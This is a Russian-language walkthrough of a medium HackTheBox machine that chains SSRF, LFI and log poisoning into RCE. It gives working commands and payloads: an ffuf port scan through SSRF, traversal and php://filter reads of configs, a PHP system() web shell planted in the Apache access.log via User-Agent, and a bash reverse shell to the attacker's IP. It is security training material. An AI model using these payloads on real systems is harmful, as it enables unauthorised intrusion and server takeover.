Цепочка SSRF LFI RCE в пентесте: разбор HTB-машины уровня medium

На HTB-машине уровня medium три уязвимости обнаружились за первый час: SSRF в функции предпросмотра URL, LFI через включение файлов в PHP-приложении на внутреннем порту и доступный на чтение access.log Apache. По отдельности ни одна не давала shell. SSRF показывала внутренние сервисы. LFI читала конфиги. Логи просто лежали на диске. Shell появился, когда три звена замкнулись в одну цепочку эксплуатации уязвимостей.
Разбираю каждый шаг — от первого перехвата в Burp Suite до reverse shell. С пояснениями, где логика «ломается», что делать в тупике и почему пентест веб-приложений на практике сильно отличается от чтения writeup-ов.
Зачем атакующему цепочка эксплуатации уязвимостей
На реальных проектах одношаговый RCE (Remote Code Execution — удалённое выполнение кода на сервере) — редкость. По данным Mandiant M-Trends 2025, exploits остаются главным вектором начального доступа (38% инцидентов), но каждый отдельный exploit обычно даёт ограниченный результат: чтение файла, обращение к внутреннему сервису — не полный контроль. Цепочка эксплуатации — когда выход одного звена становится входом для следующего — превращает три «средних» находки в критический инцидент.
В терминологии MITRE ATT&CK (открытая база тактик и техник атак; T-коды вроде T1190 — идентификаторы конкретных приёмов) цепочка SSRF→LFI→RCE раскладывается так:
| Звено цепочки | Техника ATT&CK | Тактика | Что получает атакующий |
|---|---|---|---|
| SSRF | T1190 — Exploit Public-Facing Application | Initial Access | Доступ к сервисам за периметром |
| Сканирование портов через SSRF | T1046 — Network Service Discovery | Discovery | Карта внутренней сети |
| LFI: чтение файлов | T1005 — Data from Local System | Collection | Конфиги, исходный код, логи |
| LFI: чтение credentials | T1552.001 — Credentials In Files | Credential Access | Пароли и API-ключи |
| RCE через log poisoning | Execution | Execution | Выполнение команд на сервере |
Бизнес-логика атаки простая. SSRF (Server-Side Request Forgery — подделка серверных запросов: ты управляешь адресом, куда сервер отправляет исходящий запрос) пробивает периметр. Сервер видит сеть иначе, чем внешний клиент — ему доступны loopback-адреса (127.0.0.1 — адрес, по которому машина обращается сама к себе), приватные IP-диапазоны (10.x.x.x, 172.16.x.x, 192.168.x.x) и облачные metadata-эндпоинты. LFI (Local File Inclusion — включение локальных файлов: приложение подключает файл с сервера по пути, который контролирует атакующий) даёт чтение произвольных файлов. RCE замыкает цепочку: атакующий выполняет команды с правами веб-сервера.
В классификации OWASP (Open Web Application Security Project — организация, формирующая стандарты безопасности приложений) SSRF занимает позицию API7:2023 в OWASP API Security Top 10, LFI подпадает под A03:2021 — Injection в OWASP Top 10 для веб-приложений. Обе уязвимости входят в пятёрку самых эксплуатируемых при пентесте веб-приложений, но реальная опасность проявляется именно в связке.
SSRF уязвимость эксплуатация — первое звено цепочки
На HTB-машинах уровня medium server side request forgery атака прячется в функциях, которые принимают URL: загрузка изображения по ссылке, предпросмотр страницы, webhook-callback, проверка доступности ресурса. Параметры с именами url, callback, redirect, file_url, src, webhook — первые кандидаты. Отдельная категория, о которой часто забывают, — частичные URL: клиент передаёт хост или путь, а сервер собирает полный адрес из шаблона.
Подтверждение SSRF и сканирование внутренних портов
Предусловия: Burp Suite (инструмент для перехвата и модификации HTTP-запросов) установлен, цель доступна. Для out-of-band проверки (внеполосной — результат проверяешь не в ответе, а на отдельном контролируемом ресурсе) понадобится Burp Collaborator или VPS с запущенным nc -lvnp 8080.
Делай раз: найди параметр, принимающий URL. Перехвати запрос в Burp, подставь адрес Collaborator в параметр url. Отправь. Если в Collaborator появился входящий DNS-запрос и HTTP-обращение от IP целевой машины — SSRF подтверждена.
Делай два: проверь доступ к localhost. Подставь http://127.0.0.1/ в уязвимый параметр. Ответ с другим размером или HTTP-кодом (по сравнению с обращением к несуществующему хосту) говорит: сервер ходит сам к себе и возвращает результат.
Делай три: просканируй порты через SSRF. ffuf (утилита для фаззинга — систематического перебора значений) подставляет номера портов:
ffuf -w /usr/share/seclists/Fuzzing/4-digits-0000-9999.txt:PORT \
-u http://target.htb/api/fetch -X POST \
-d "url=http://127.0.0.1:PORT/" -fs 0
Предусловия: Kali Linux или система с установленными ffuf и SecLists. Флаг -fs 0 фильтрует ответы нулевого размера — закрытые порты. В выводе останутся строки с ненулевым размером — открытые сервисы. Ожидаемый результат: внутреннее веб-приложение (PHP, Node.js) на нестандартном порту, недоступное извне. Оно станет целью для LFI.
Характерный тупик: на одной из machine я потратил час на попытки использовать протокол file:///etc/passwd через SSRF, но серверная библиотека поддерживала только http://. Не каждая SSRF даёт прямое чтение файлов. Решение — переключиться на поиск внутренних сервисов, которые сами содержат уязвимость LFI.
LFI уязвимость эксплуатация: от чтения файлов к исходному коду
Через SSRF обнаруживается внутренний веб-сервис. Следующая задача — найти в нём LFI. На PHP-приложениях LFI возникает, когда пользовательский ввод попадает в функции include(), require(), include_once() без валидации пути. В классификации слабостей это CWE-98 — Improper Control of Filename for Include/Require Statement in PHP Program.
Проверка стандартная: подставь в параметр файла путь с directory traversal — ../../../../etc/passwd. Если в ответе видишь список пользователей системы (root:x:0:0:root...) — LFI подтверждена.
Что читать через LFI уязвимость — зависит от следующего шага. Для замыкания цепочки до RCE нужно знать:
| Файл | Зачем |
|---|---|
/etc/passwd |
Подтверждение LFI, список пользователей |
/var/www/html/config.php |
Пароли к БД, API-ключи |
/var/log/apache2/access.log |
Нужен для log poisoning (следующее звено) |
/proc/self/environ |
Переменные окружения с credentials |
php://filter — чтение исходного кода приложения
Тут есть нюанс, на котором спотыкаются многие. LFI через include() в PHP не показывает исходный код — она его выполняет. Если включить config.php, PHP отработает скрипт, и ты увидишь либо результат выполнения, либо пустую страницу. Именно это отличает LFI от Arbitrary File Retrieval (прямого чтения файлов): LFI выполняет включённый файл, File Retrieval показывает его как текст.
Чтобы обойти выполнение и прочитать исходный код, используется php wrapper php://filter — специальный поток, пропускающий файл через фильтр (например, base64-кодирование) до интерпретации. Закодированная строка не содержит PHP-тегов, поэтому выводится как есть:
page=php://filter/convert.base64-encode/resource=config.php
В ответе приходит base64-строка. Декодируешь echo "строка" | base64 -d — и видишь исходный код config.php с паролями и ключами. Это типовая задача из модуля курса пентеста веб-приложений по file inclusion: сначала подтвердить LFI через /etc/passwd, затем извлечь credentials через php://filter.
RCE через LFI: log poisoning на практике
Log poisoning (отравление логов) — техника превращения LFI уязвимости в RCE. Принцип: атакующий внедряет PHP-код в файл, который потом включается через LFI и выполняется интерпретатором. На практике чаще всего «отравляется» access.log Apache — веб-сервер записывает заголовок User-Agent из каждого HTTP-запроса, а User-Agent полностью контролируется клиентом.
Условия для log poisoning (все должны выполняться одновременно):
- Подтверждённая LFI в PHP-приложении
- Лог-файл доступен для чтения через LFI (права на
/var/log/apache2/access.log) - Лог содержит пользовательский ввод (User-Agent, Referer)
- PHP-интерпретатор обрабатывает включённый файл
В терминах CWE это связка: CWE-98 (некорректный контроль include-путей) создаёт условие для CWE-78 — OS Command Injection (внедрение команд ОС: продукт конструирует команду из пользовательского ввода без нейтрализации спецсимволов). PHP-код в логе вызывает system(), которая выполняет произвольную команду на сервере.
Пошаговая эксплуатация: от записи в лог до reverse shell
Предусловия: подтверждённая LFI на целевом PHP-приложении. Burp Suite для модификации заголовков. На атакующей машине — netcat (nc -lvnp 4444) для приёма reverse shell.
Делай раз: убедись, что лог доступен. Подставь путь в уязвимый параметр: page=../../../../var/log/apache2/access.log. Если в ответе видишь строки лога (IP-адреса, даты, User-Agent) — access.log читается через LFI. Нет? Проверь альтернативные пути: /var/log/httpd/access_log, /var/log/nginx/access.log. Ожидаемый вывод — блок текста со строками формата 127.0.0.1 - - [01/Jan/2026:00:00:00 +0000] "GET / HTTP/1.1" 200 ....
Делай два: отрави лог. Перехвати любой запрос к целевому серверу в Burp Suite и замени заголовок User-Agent на PHP-payload:
User-Agent: <?php system($_GET['cmd']); ?>
Отправь запрос. Apache запишет этот User-Agent в access.log как обычную строку. В HTTP-трафике ничего подозрительного — просто нестандартный User-Agent. Но когда LFI включит этот лог через include(), PHP-интерпретатор найдёт тег <?php ... ?> среди строк лога и выполнит код.
Делай три: выполни команду. Обратись к LFI-параметру с включением лога и добавь &cmd=id в URL: page=../../../../var/log/apache2/access.log&cmd=id. Среди строк лога в ответе должен появиться вывод uid=33(www-data) gid=33(www-data) — подтверждение RCE через LFI. Замени id на reverse shell: bash -c 'bash -i >& /dev/tcp/ТВОЙ_IP/4444 0>&1' (предварительно запустив nc -lvnp 4444). В терминале с netcat появится shell целевой машины.
Критический момент, о котором мало кто предупреждает: payload записывается в лог один раз и навсегда. Синтаксическая ошибка в PHP-коде (незакрытый тег, неправильные кавычки) «ломает» весь лог для интерпретатора — каждый последующий include() будет падать с parse error. На HTB это сброс машины. На реальном пентесте — потеря вектора. Проверь payload на локальной установке PHP перед отправкой: php -r "system('id');".
Прохождение HTB machine medium: собираем цепочку целиком
Полная цепочка SSRF LFI RCE — пять последовательных шагов, где каждый опирается на результат предыдущего:
Шаг 1 — разведка: nmap обнаруживает веб-приложение на стандартном порту. В Burp Suite перехватываешь запросы, ищешь параметры, принимающие URL.
Шаг 2 — SSRF: подтверждение через Collaborator, затем ffuf-сканирование внутренних портов. Результат: обнаружен PHP-сервис на внутреннем порту.
Шаг 3 — LFI: через SSRF обращаешься к внутреннему сервису, находишь параметр с directory traversal. Читаешь /etc/passwd, затем извлекаешь исходный код через php://filter.
Шаг 4 — log poisoning: через Burp внедряешь PHP-payload в User-Agent. Apache пишет его в access.log.
Шаг 5 — RCE: включаешь access.log через LFI. PHP выполняет внедрённый код. Reverse shell получен.
Каждый шаг соответствует отдельному модулю в курсе пентеста веб-приложений: SSRF разбирается в блоке server-side атак, LFI — в модуле file inclusion, log poisoning — в эскалации LFI до RCE. Разница между тем, кто решил machine за два часа, и тем, кто завис на сутки, не в знании отдельных техник, а в понимании стыков между ними.
По данным IBM X-Force Threat Intelligence Index 2025, среднее время между публикацией CVE и устранением в организациях — 29 месяцев. Внутренние сервисы с LFI или доступными логами живут в продакшене годами, защищённые только тем, что они «не видны снаружи». Одна SSRF уязвимость на периметре обнуляет эту защиту. По данным CrowdStrike Global Threat Report 2025, среднее время lateral movement после initial access — 62 минуты. Цепочка SSRF→LFI→RCE в типовом HackTheBox walkthrough проходится быстрее.
На реальных пентестах цепочка редко бывает линейной. SSRF даёт только blind-результат (ответ внутреннего сервиса не возвращается пользователю). LFI фильтрует ../. Логи лежат не по стандартному пути. Каждый тупик — подсказка: если file:// не работает — ищи внутренний HTTP-сервис. Стандартный путь к логу заблокирован? Попробуй /proc/self/fd/1 или проверь конфиг nginx. php://filter отфильтрован — есть php://filter/read=string.rot13/resource= и другие цепочки фильтров. CTF web exploitation учит именно этому: не запоминать один путь, а перебирать варианты систематически.
Цепочки эксплуатации — не «продвинутый уровень», а базовый навык пентестера. Уязвимости в вакууме почти никогда не дают критический результат. Критичность появляется, когда видишь связь между ними. Курсы разбирают SSRF, LFI и RCE отдельными модулями — и это правильно для понимания механики. Но навык связывания приходит из практики, где нет подсказки «используй технику X». На каждой пятой HTB-машине уровня medium цепочка выглядит иначе: вместо log poisoning — php://filter chain до RCE без загрузки файлов, вместо SSRF к localhost — обращение к metadata-сервису облака с кражей IAM-токена. Паттерн один: звенья разные, логика стыковки — та же самая. Кто освоил одну цепочку целиком — соберёт следующую за час, а не за сутки. На IB Basics на codeby.school/ib-basics эту логику разбирают с нуля — для тех, кому HTB пока даёт больше фрустрации, чем понимания.
Эту тему и смежные навыки разбирают на практике в курсе «Специалист по тестированию на проникновение» Codeby Academy.